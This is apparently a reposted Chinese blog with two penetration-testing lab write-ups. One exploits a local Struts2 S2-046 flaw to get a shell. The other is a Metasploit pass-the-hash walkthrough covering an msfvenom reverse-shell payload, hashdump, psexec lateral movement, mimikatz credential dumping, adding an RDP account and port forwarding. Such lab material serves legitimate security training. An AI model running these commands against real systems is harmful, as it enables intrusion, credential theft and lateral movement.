渗透测试-struts2攻防环境搭建拿shell

Posted shenkong

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了渗透测试-struts2攻防环境搭建拿shell相关的知识,希望对你有一定的参考价值。

一、下载Jspstudy

打开目录
D:\\JspStudy\\tomcat\\webapps

二、打开struts2并进行拿shell

1.打开struts2

在浏览器中输入网址
http://localhost:8080/struts2-showcase/showcase.action

点击上面的Configuration,点击Action Chaining点击上面的Configuration,点击Action Chaining

点击上面的Configuration,点击Action Chaining

 

2.利用K8 strtus2工具进行漏洞扫描利用

复制网址
http://localhost:8080/struts2-showcase/actionchaining/actionChain1!input.action

 获取信息成功,之后执行ipconfig命令

 

执行命令成功。
也可以利用专门的Struts2漏洞利用工具进行扫描攻击

发现存在s2-045,s2-046远程代码执行漏洞,可以利用
选择s2-046进行攻击,攻击成功,返回ipconfig信息

成功拿到对方的shell,实验结束。

总结

本次实验是对struts2攻防环境的搭建,复现了s2-046运程代码执行漏洞,从而获得对方主机的shell,对struts2环境漏洞的掌握与利用。

 

 

 

内网渗透测试小Demo-哈希传递攻击

环境搭建

Win Server2003

设置账户密码

右击我的电脑,选择管理,添加本地用户和组,重置admin的密码为123456,方便之后的操作

在vmware中为虚拟机添加一个网卡,网络连接选择LAN区段

开机后手动设置IP地址为 10.0.0.2/24

ipconfig

Win Server2008

虚拟机网络连接选择LAN区段,开机后手动设置IP地址为 10.0.0.3/24

注:两台虚拟机网络连接也可以选择仅主机模式也可以,具体配置自行百度

拿shell

已知win werver2003存在文件上传漏洞,已经被getshell

使用MSF生成后门文件

在Kali生成后门文件

msfvenom  -p windows/meterpreter/reverse_tcp lhost=192.168.179.128  lport=12345 -f exe >/var/www/html/s.exe

生成完毕,通过webshell将文件上传至win服务器

kali进入msf,开启监听

use exploit/multi/handler
set payload  windows/meterpreter/reverse_tcp
set lhost 192.168.179.128
set lport 12345
exploit

等win服务器那边点击了exe文件,这边就上线了

收集信息

  • 系统信息

    sysinfo

  • 查看路由表信息

    route

  • 查看进程

    ps

    如果失败,可以进入shell中使用tasklist查看

注入进程维持权限

一般注入explorer.exe进程

migrate 2424

注入成功后每次启动explorer.exe进程都会启动shell

收集内网信息

  • 查看路由表

    run autoroute -p 
    
  • 检测内网存活

    # 通过ping命令
    run post/multi/gather/ping_sweep RHOSTS=10.0.0.0/24
    # 通过arp协议
    run post/windows/gather/arp_scanner RHOSTS=10.0.0.0/24
    # 使用info查看模块信息
    info post/multi/gather/ping_sweep
    

  • 代理nmap扫描

    添加路由

    run autoroute -s 10.0.0.0/24
    background
    use auxiliary/server/socks4a 
    set SRVPORT 10044
    run
    

    修改配置文件

    vi /etc/prxoychains.conf
    

    注释掉原来的,添加一条新的

    socks4 192.168.179.128 10044
    

    这样的话路由就添加完成了

    使用nmap逐个扫描上条命令检测出来的IP

    proxychains nmap -sT -Pn 10.0.0.2 --open -oN 10.0.0.0.txt
    保存至10.0.0.0.txt中
    

通过端口扫描发现开放了445端口,尝试攻击

哈希传递攻击

PTH即pass-the-hash,原理是攻击者可以直接通过LM Hash和NTLM Hash访问远程主机或服务,而不需要提供明文密码

使用MSF获取hash值

meterpreter > hashdump 
Administrator:500:44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
............

选择payload,使用winserver2003的账户密码hash,攻击winserver2008,因为内网环境中存在大量密码一样的主机,当我们获得了一台的hash后,可以通过该hash进行横向渗透

background
use exploit/windows/smb/psexec
set payload windows/meterpreter/bind_tcp
show options                      -->查看配置选项
set RHOST 10.0.0.3		         -->设置攻击目标IP,端口默认445
set SMBUser Administrator         -->设置账号为wing
set SMBPass 44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4

攻击得到另外的session

hash解密网站:https://www.objecif-securite.ch/ophcrack

后半段为加密数据

mimikatz

在msf中可以直接载入mimikatz

meterpreter > load mimikatz 
meterpreter > msv
meterpreter > kerberos 

使用命令开启RDP

run  getgui  -e
增加帐号
run getgui -u moonsec -p moonsec

端口转发

portfwd add -l 5555 -p 3389 -r 192.168.0.111
rdesktop -u Administrator -p 123qwe 127.0.0.1:5555
proxychains rdesktop -u Administrator -p 123456 10.10.10.134

推荐阅读

内网渗透之横向移动 – 哈希传递攻击研究

传递哈希攻击的原理介绍

以上是关于渗透测试-struts2攻防环境搭建拿shell的主要内容,如果未能解决你的问题,请参考以下文章

安全攻防实战系列MSF

内网渗透测试小Demo-哈希传递攻击

《网络攻防第八周作业》

CSF三层主机:渗透测试靶场笔记

python中的后渗透也可用于AWD攻防--shell管理

CSF三层主机:渗透测试靶场笔记